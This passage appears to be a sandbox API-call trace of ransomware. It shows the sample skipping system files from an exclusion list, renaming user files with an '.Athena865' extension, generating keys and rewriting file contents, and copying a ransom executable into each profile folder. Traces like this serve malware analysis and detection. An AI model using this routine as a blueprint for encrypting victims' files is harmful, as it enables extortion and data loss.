169 [0035.672] lstrlenA (lpString="[ERROR] C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms MoveFileEx error 32\r\n") returned 169 [0035.672] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.672] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13e7 [0035.672] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0xa9, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0xa9, lpOverlapped=0x0) returned 1 [0035.672] CloseHandle (hObject=0x154) returned 1 [0035.673] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.673] CloseHandle (hObject=0x0) returned 0 [0035.673] CloseHandle (hObject=0x0) returned 0 [0035.673] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0035.673] lstrcmpiW (lpString1="ntuser.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.673] lstrcmpiW (lpString1="ntuser.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.673] lstrcmpiW (lpString1="ntuser.ini", lpString2=".") returned 1 [0035.673] lstrcmpiW (lpString1="ntuser.ini", lpString2="..") returned 1 [0035.673] lstrcmpiW (lpString1="ntuser.ini", lpString2="windows") returned -1 [0035.673] lstrcmpiW (lpString1="ntuser.ini", lpString2="bootmgr") returned 1 [0035.673] lstrcmpiW (lpString1="ntuser.ini", lpString2="temp") returned -1 [0035.674] lstrcmpiW (lpString1="ntuser.ini", lpString2="pagefile.sys") returned -1 [0035.674] lstrcmpiW (lpString1="ntuser.ini", lpString2="boot") returned 1 [0035.674] lstrcmpiW (lpString1="ntuser.ini", lpString2="ids.txt") returned 1 [0035.674] lstrcmpiW (lpString1="ntuser.ini", lpString2="ntuser.dat") returned 1 [0035.674] lstrcmpiW (lpString1="ntuser.ini", lpString2="perflogs") returned -1 [0035.674] lstrcmpiW (lpString1="ntuser.ini", lpString2="MSBuild") returned 1 [0035.674] lstrlenW (lpString="ntuser.ini") returned 10 [0035.674] lstrcpyW (in: lpString1=0x241e8a6, lpString2="ntuser.ini" | out: lpString1="ntuser.ini") returned="ntuser.ini" [0035.674] lstrlenW (lpString="ntuser.ini") returned 10 [0035.674] lstrlenW (lpString="Athena865") returned 9 [0035.674] lstrcmpiW (lpString1="tuser.ini", lpString2="Athena865") returned 1 [0035.674] lstrlenW (lpString=".dll") returned 4 [0035.674] lstrcmpiW (lpString1="ntuser.ini", lpString2=".dll") returned 1 [0035.674] lstrlenW (lpString=".lnk") returned 4 [0035.674] lstrcmpiW (lpString1="ntuser.ini", lpString2=".lnk") returned 1 [0035.674] lstrlenW (lpString=".ini") returned 4 [0035.674] lstrcmpiW (lpString1="ntuser.ini", lpString2=".ini") returned 1 [0035.674] lstrlenW (lpString=".sys") returned 4 [0035.674] lstrcmpiW (lpString1="ntuser.ini", lpString2=".sys") returned 1 [0035.674] lstrlenW (lpString="ntuser.ini") returned 10 [0035.674] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\ntuser.ini.Athena865") returned 67 [0035.674] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\ntuser.ini" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\ntuser.ini"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\ntuser.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\ntuser.ini.athena865"), dwFlags=0x1) returned 1 [0035.675] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\ntuser.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\ntuser.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0035.675] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20) returned 1 [0035.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0035.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x528190 [0035.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518788 [0035.675] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518898) returned 1 [0035.676] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0035.676] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0035.676] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x320, lpName=0x0) returned 0x17c [0035.687] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x320) returned 0x100000 [0035.688] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518898) returned 1 [0035.688] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0035.688] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0035.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52c810 [0035.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c810 | out: hHeap=0x4f0000) returned 1 [0035.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52c810 [0035.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0035.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c810 | out: hHeap=0x4f0000) returned 1 [0035.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0035.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52c810 [0035.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0035.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c810 | out: hHeap=0x4f0000) returned 1 [0035.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0035.689] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0035.689] CloseHandle (hObject=0x17c) returned 1 [0035.689] CloseHandle (hObject=0x154) returned 1 [0035.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528190 | out: hHeap=0x4f0000) returned 1 [0035.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518788 | out: hHeap=0x4f0000) returned 1 [0035.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0035.691] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xac46dac0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xac46dac0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0035.691] lstrcmpiW (lpString1="Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.691] lstrcmpiW (lpString1="Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.691] lstrcmpiW (lpString1="Pictures", lpString2=".") returned 1 [0035.691] lstrcmpiW (lpString1="Pictures", lpString2="..") returned 1 [0035.691] lstrcmpiW (lpString1="Pictures", lpString2="windows") returned -1 [0035.691] lstrcmpiW (lpString1="Pictures", lpString2="bootmgr") returned 1 [0035.691] lstrcmpiW (lpString1="Pictures", lpString2="temp") returned -1 [0035.691] lstrcmpiW (lpString1="Pictures", lpString2="pagefile.sys") returned 1 [0035.691] lstrcmpiW (lpString1="Pictures", lpString2="boot") returned 1 [0035.691] lstrcmpiW (lpString1="Pictures", lpString2="ids.txt") returned 1 [0035.691] lstrcmpiW (lpString1="Pictures", lpString2="ntuser.dat") returned 1 [0035.691] lstrcmpiW (lpString1="Pictures", lpString2="perflogs") returned 1 [0035.691] lstrcmpiW (lpString1="Pictures", lpString2="MSBuild") returned 1 [0035.691] lstrlenW (lpString="Pictures") returned 8 [0035.691] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0035.691] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures", dwFileAttributes=0x10) returned 1 [0035.691] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c530 [0035.691] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x528190 [0035.691] lstrcatW (in: lpString1="Pictures", lpString2="\\" | out: lpString1="Pictures\\") returned="Pictures\\" [0035.691] lstrcatW (in: lpString1="Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Pictures\\HOW TO BACK YOUR FILES.exe") returned="Pictures\\HOW TO BACK YOUR FILES.exe" [0035.692] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.694] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0035.694] lstrcmpiW (lpString1="PrintHood", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.694] lstrcmpiW (lpString1="PrintHood", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.694] lstrcmpiW (lpString1="PrintHood", lpString2=".") returned 1 [0035.694] lstrcmpiW (lpString1="PrintHood", lpString2="..") returned 1 [0035.694] lstrcmpiW (lpString1="PrintHood", lpString2="windows") returned -1 [0035.694] lstrcmpiW (lpString1="PrintHood", lpString2="bootmgr") returned 1 [0035.694] lstrcmpiW (lpString1="PrintHood", lpString2="temp") returned -1 [0035.694] lstrcmpiW (lpString1="PrintHood", lpString2="pagefile.sys") returned 1 [0035.694] lstrcmpiW (lpString1="PrintHood", lpString2="boot") returned 1 [0035.694] lstrcmpiW (lpString1="PrintHood", lpString2="ids.txt") returned 1 [0035.694] lstrcmpiW (lpString1="PrintHood", lpString2="ntuser.dat") returned 1 [0035.694] lstrcmpiW (lpString1="PrintHood", lpString2="perflogs") returned 1 [0035.694] lstrcmpiW (lpString1="PrintHood", lpString2="MSBuild") returned 1 [0035.694] lstrlenW (lpString="PrintHood") returned 9 [0035.694] lstrcpyW (in: lpString1=0x241e8a6, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0035.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c548 [0035.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x5019a8 [0035.694] lstrcatW (in: lpString1="PrintHood", lpString2="\\" | out: lpString1="PrintHood\\") returned="PrintHood\\" [0035.694] lstrcatW (in: lpString1="PrintHood\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="PrintHood\\HOW TO BACK YOUR FILES.exe") returned="PrintHood\\HOW TO BACK YOUR FILES.exe" [0035.694] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\PrintHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\printhood\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.698] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0035.698] lstrcmpiW (lpString1="Recent", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.698] lstrcmpiW (lpString1="Recent", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.698] lstrcmpiW (lpString1="Recent", lpString2=".") returned 1 [0035.698] lstrcmpiW (lpString1="Recent", lpString2="..") returned 1 [0035.698] lstrcmpiW (lpString1="Recent", lpString2="windows") returned -1 [0035.698] lstrcmpiW (lpString1="Recent", lpString2="bootmgr") returned 1 [0035.698] lstrcmpiW (lpString1="Recent", lpString2="temp") returned -1 [0035.698] lstrcmpiW (lpString1="Recent", lpString2="pagefile.sys") returned 1 [0035.698] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0035.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c560 [0035.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x52c810 [0035.698] lstrcatW (in: lpString1="Recent", lpString2="\\" | out: lpString1="Recent\\") returned="Recent\\" [0035.698] lstrcatW (in: lpString1="Recent\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Recent\\HOW TO BACK YOUR FILES.exe") returned="Recent\\HOW TO BACK YOUR FILES.exe" [0035.698] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.701] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0035.701] lstrcmpiW (lpString1="Saved Games", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.701] lstrcmpiW (lpString1="Saved Games", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.701] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0035.701] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Saved Games", dwFileAttributes=0x10) returned 1 [0035.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c578 [0035.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x501a28 [0035.701] lstrcatW (in: lpString1="Saved Games", lpString2="\\" | out: lpString1="Saved Games\\") returned="Saved Games\\" [0035.701] lstrcatW (in: lpString1="Saved Games\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Saved Games\\HOW TO BACK YOUR FILES.exe") returned="Saved Games\\HOW TO BACK YOUR FILES.exe" [0035.701] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Saved Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\saved games\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.704] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0035.704] lstrcmpiW (lpString1="Searches", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.704] lstrcmpiW (lpString1="Searches", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.704] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Searches" | out: lpString1="Searches") returned="Searches" [0035.704] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches", dwFileAttributes=0x10) returned 1 [0035.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c590 [0035.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x52c888 [0035.705] lstrcatW (in: lpString1="Searches", lpString2="\\" | out: lpString1="Searches\\") returned="Searches\\" [0035.705] lstrcatW (in: lpString1="Searches\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Searches\\HOW TO BACK YOUR FILES.exe") returned="Searches\\HOW TO BACK YOUR FILES.exe" [0035.705] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\searches\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.707] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0035.707] lstrcmpiW (lpString1="SendTo", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.707] lstrcmpiW (lpString1="SendTo", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.707] lstrcpyW (in: lpString1=0x241e8a6, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0035.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c5a8 [0035.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x52c900 [0035.707] lstrcatW (in: lpString1="SendTo", lpString2="\\" | out: lpString1="SendTo\\") returned="SendTo\\" [0035.707] lstrcatW (in: lpString1="SendTo\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SendTo\\HOW TO BACK YOUR FILES.exe") returned="SendTo\\HOW TO BACK YOUR FILES.exe" [0035.707] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.711] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0035.711] lstrcmpiW (lpString1="Start Menu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.711] lstrcmpiW (lpString1="Start Menu", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.711] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0035.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c5c0 [0035.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x501aa8 [0035.711] lstrcatW (in: lpString1="Start Menu", lpString2="\\" | out: lpString1="Start Menu\\") returned="Start Menu\\" [0035.711] lstrcatW (in: lpString1="Start Menu\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Start Menu\\HOW TO BACK YOUR FILES.exe") returned="Start Menu\\HOW TO BACK YOUR FILES.exe" [0035.711] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.714] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0035.714] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.714] lstrcmpiW (lpString1="Templates", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.714] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0035.714] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c5d8 [0035.714] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x501b28 [0035.714] lstrcatW (in: lpString1="Templates", lpString2="\\" | out: lpString1="Templates\\") returned="Templates\\" [0035.715] lstrcatW (in: lpString1="Templates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Templates\\HOW TO BACK YOUR FILES.exe") returned="Templates\\HOW TO BACK YOUR FILES.exe" [0035.715] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\templates\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.717] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xac3d5540, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xac3d5540, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0035.717] lstrcmpiW (lpString1="Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.717] lstrcmpiW (lpString1="Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.717] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0035.718] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos", dwFileAttributes=0x10) returned 1 [0035.718] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c5f0 [0035.718] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x52c978 [0035.718] lstrcatW (in: lpString1="Videos", lpString2="\\" | out: lpString1="Videos\\") returned="Videos\\" [0035.718] lstrcatW (in: lpString1="Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Videos\\HOW TO BACK YOUR FILES.exe") returned="Videos\\HOW TO BACK YOUR FILES.exe" [0035.718] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.721] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xac3d5540, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xac3d5540, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0035.721] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 